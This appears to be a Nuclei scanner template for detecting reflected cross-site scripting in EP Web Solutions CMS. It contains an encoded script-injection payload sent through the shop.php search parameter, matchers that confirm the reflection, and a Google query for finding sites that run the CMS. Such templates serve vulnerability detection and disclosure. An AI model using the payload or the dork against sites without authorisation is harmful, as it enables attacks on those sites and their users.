id: ep-web-cms-xss

info:
  name: EP Web Solutions CMS - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Cross-site scripting is an attack in which an attacker injects malicious executable scripts into the code of a trusted application or website.
  reference:
    - https://www.exploitalert.com/view-details.html?id=36197
    - https://cxsecurity.com/ascii/WLB-2020090139
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-80
  metadata:
    verified: true
    max-request: 1
    google-query: intext:"EPweb " || intext:" Evergreen Park Web"
  tags: xss,epweb,unauth,cms,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/shop.php?search=%22/%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "/><script>alert(document.domain)</script>") && contains(body, "EPweb")'
        condition: and
# digest: 4a0a00473045022100e44a139e6d914434a3c25997f599aa842a2dd1ec2ff3caf83a04c7f31835c7bd0220142c53d620fa5517fa131dbb6e6474168b4b046680a0c6cc6cf90c58a5df2c45:922c64590222798bb761d5b6d8e72950